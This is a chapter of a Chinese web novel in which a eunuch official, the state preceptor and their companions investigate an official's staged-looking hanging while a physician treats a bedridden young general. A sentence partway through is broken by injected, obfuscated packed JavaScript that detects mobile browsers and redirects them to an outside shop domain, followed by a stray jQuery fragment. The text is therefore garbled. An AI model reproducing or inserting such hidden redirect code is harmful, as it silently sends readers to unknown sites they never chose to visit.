魏昭明因为被打断了有点不爽,但是听得是国师来了又缓和了一丝脸色,安抚性的拍了拍洛此生的肩膀这般又恼怒又无奈的复杂之下,一张脸精彩的有些难以言表。
以至于来客看到他这副表情一度以为发生了什么天大的事情。
魏昭明可是死死咬着牙才没让自己发脾气:“没什么事情,只是你来的不巧。”
“那还真是糟糕。”
来者是一个看起来不过三十有余的青年,生的一副好皮囊实在惹人注目,鼻梁上挂着一副细框的眼镜为了美观还坠上一缕流苏。
笑起来一双狐狸眼微微眯起就像是画布上勾人小狐狸。
“这位是?”夜长明问。
国师不应该是那种仙风道骨的老者,举手投足都是仙人之感,或者是满嘴知乎者也的文者么?确实没想到所谓的国师会是如此……
“年轻是么?”
对方像是知道了他的想法,毫不在意的替他说了出来,看起来他对这种别人如何看待自己真的很不在意:“经常有人这么说,还有人说我们九千岁不懂审时度势呢。”
魏昭明一个白眼翻了过去:“那帮老东西,审时度势也是要看人的。”
“好好好,我们九千岁怎得都有理,你们别在意,他就这个样子,自我介绍一下,我姓卜,名满城,跟这家伙是忘年之交。”
魏昭明:“哪里来的忘年,你我就差了十岁。”
卜满城双手一摊:你看,又急。
“那么多话……你来找我不会就为了跟我探讨什么忘年吧?”
“你总算问我了。”卜满城笑嘻嘻的指尖缠住眼镜上的流苏轻轻晃了晃,那眉眼真的和画布上的小狐狸如出一辙:“有一些墨羽楼的消息,我可是好不容易查出来的,第一时间就来和你分享……就是不知道小将军在治疗,是我来的不巧了。”
洛此生摇了摇头说他完全不在乎,毕竟他们也没有在门口立个牌子说什么里面有人在治疗。
就是有人不高兴就对了……
唉,好不容易有的亲近机会,能有好脸色就怪了。
加上这家伙笑嘻嘻的,一看就没有认真道歉。卜满城原本的笑意在触及到魏昭明射过来的眼刀瞬间收了回去双手举起做投降状——怎么还真生气了呢??
“我的错我的错,我不该打扰你们,现在来听听我的消息怎么样?”
话都说到这份上了……魏昭明也不好再发什么脾气,便转过头不再言语。
卜满城见状也乐呵呵的凑了过来:“这才对嘛,哎呀呀都是朋友,何必如此剑拔弩张的?你看,这是我从上一个药无不测的官员家中发现的东西。”
看着他从袖兜里掏出了什么东西递过去,众人围过去一看才发现就是个普通的狼毫笔,笔尖还有些开叉。
夜长明:“?”
他看了一眼身后的沐长昭,对方也是一脸懵逼完全不知道这支笔到底有何作用,也没人解释,他们就看着魏昭明和洛此生像是对上了什么暗号一样彼此对视了一下双双亮了眼眸。
恳请查案的时候不要有谜语人。
“抱歉抱歉。”洛此生连忙在后补充:“是因为因为大人的死亡很是蹊跷,现场找不出任何的打斗痕迹和外人的痕迹,而是这位大人是吊死在房梁上的,尸体上也没有任何反抗的痕迹,所以便以自缢结案了。”
夜长明听的一愣一愣的:这难道不是自缢么?
魏昭明听了直摇头:“这位大人已经快要告老还乡了,按照律法他会有一大笔银钱供他养老,所以我觉得他不该是在这时候想不开。”
夜长明:“难道不会是他撑不下去了?”
沐长昭像是终于发现了什么乐子一样语重心长的拍了拍他的肩膀:“这你这救人的就不懂了吧,一个人再怎么想不开那也不会在快要退休的时候,打个比方,你药谷种植的一批新药,那药珍贵无比需得悉心培育才能开花结果,如果是你你会选择在药物将要成熟的前一天自缢么?”
夜长明摇头。
“而且,谷主你且看这狼毫笔。”魏昭明说着把那根笔递给他:“笔尖开叉,但笔身完好无损,这便能说明问题。”
笔身完好无损,证明这位大人至少是个爱笔之人,但是唯独笔尖出了问题……夜长明想着一手摩挲着下巴,那就证明——
“这支笔是写字的时候笔尖朝下摔下去的?”
沐长昭一副孺子可教的表情,也不怪他,在场的不论是谁都是从伤人者的角度出发,唯独夜长明是一大夫,心里想着的只有救人。
既然这样,那就是……他杀?
卜满城点头:“只可惜,九千岁忙着照顾他的小情人呢,我这人又不会武功,那犯罪现场可是要攀高爬低的,找这东西可废了我半条命。”
怎么有一种看人谈恋爱的沧桑感?
虽然是朋友之间玩笑的气话,但是眼前这位国师怎么听都很命苦,以至于魏昭明这种人都实在不忍心觉得自己玩笑开的太过火了。
“抱歉……但是此生这边……”
“好好好我知道,小将军现在离不了人,放心,我会去查清楚的顺便找个麻袋把自己装起来,你就放心好了,我会自己捡垃圾吃的。”
“国师,我不是这个意思,我……”
夜长明视线在他们中间转了转,大概弄清楚了现在是什么状况——总结下来就是对重色轻友的控诉。
魏昭明看起来确实很想亲身去查,但是内心纠结。
他的目光在洛此生身上挺久了好久,正在犹豫要不要开口。
夜长明:“洛公子这里有我,九千岁您就放心去吧。”
魏昭明听闻眼睛一亮,但是又放心不下看了看床上的人,看到对方点了点头他才放下心,却又恋恋不舍的捏了捏人家的手腕。
一看他们都要去沐长昭也坐不住了:“我也去!”
卜满城:“这才对嘛,九千岁你看看人家。”
“就你话多,我很快就回来,等我。那此生就拜托谷主了。”
夜长明摆了摆手让他们放心,直到三人的背影渐渐远去,原本沉默的洛此生才收起了自己善解人意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354714|199665||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的一面,也会露出一点点落寞神情。这些夜长明都看在眼里,借着给他掖被角的机会顺势握住他的手。
“有心事?”
洛此生微垂下眼眸:“自从我双腿有疾后,昭明就日日在我身边照顾,旁人都说他重情重义,可我却只觉得我像个累赘……因为我,他到现在都没有娶亲。”
夜长明微微一愣,转而轻笑一声拍了拍他肩头:“九千岁不会觉得你是累赘的,再者,我这不是在给你治疗么?只要你听医嘱行事就一定会站起来,届时不就可以和九千岁继续踏马并肩而行了。”
“当真?”
见他还是有点不信,夜长明正欲说点什么,门外却传来一阵敲门声。
回来这么早?
“你且等着,我去看看是谁。”
砰——
“国师大人小心!!”
沐长昭一个箭步上去挡住倒下的书架,这玩意也不知道怎么倒下来的就听的一声巨响,魏昭明离得太远看见时候已经来不及了,还是沐长昭一手扶着书架一手把位于危险位置的卜满城拉回来。
他本就孱弱的身体这么一吓直接扶着魏昭明的身体一阵咳嗽。
“你别死我怀里。”虽然这么说,魏昭明还是拍着他的后背给他顺气:“这东西怎么会突然倒下来?”
沐长昭摇头:“不知道,应该是太久没住人的原因?”
“或许吧…”魏昭明心里却还是不由得犯嘀咕:好好的一座书架就在那摆着,怎么会突然倒下来呢?
看样子有人不想要他们查。
“总之注意着点吧,你还好吗?要不要去休息休息?”
卜满城有点不满:瞧不起谁呢?
看他这样魏昭明也放心了些只叮嘱他跟紧自己,卜满城就真的形影不离的跟着。
那位大人悬吊的房梁现在仍留着一截断了的麻绳,据说是当时送餐的侍女发现了之后吓得大叫喊来了其他家丁把人放了下来。当时那根绳子缠的死紧根本解不开,就只能把绳子割断。
“很紧么?”
“嗯。”魏昭明一边四处看看一边回复沐长昭的问题:“几乎勒进了皮肉。”
沐长昭问:“那怎么就确定是他自己吊颈的?万一真是别人动的手脚呢?”
卜满城摇头:“这我们也想过,用特殊绳结把人吊起来,越挣扎越紧,但是现场完全没有挣扎的痕迹,而且吊死的过程中人是会动的,那人该怎么保证不会被抓到。”
奇怪了,怎么就什么都找不到呢……
不过这个说法也不是全然没有可能,沐长昭说:“如果是熟人作案,然后告诉他是为了救他,却拉着他手不让他动呢?”
“这………”魏昭明想了想,确实可行,但是不确定性太多,而且如果被抓住了双手,死者发现对方是想要自己的命难道不会剧烈挣扎么?
这么想着又陷入了僵局,一时间相顾无言,就在实在不知道怎么办的时候,外面风风火火闯进来一个人——
“九千岁!!国师!!不好了!!府……府里出事了!”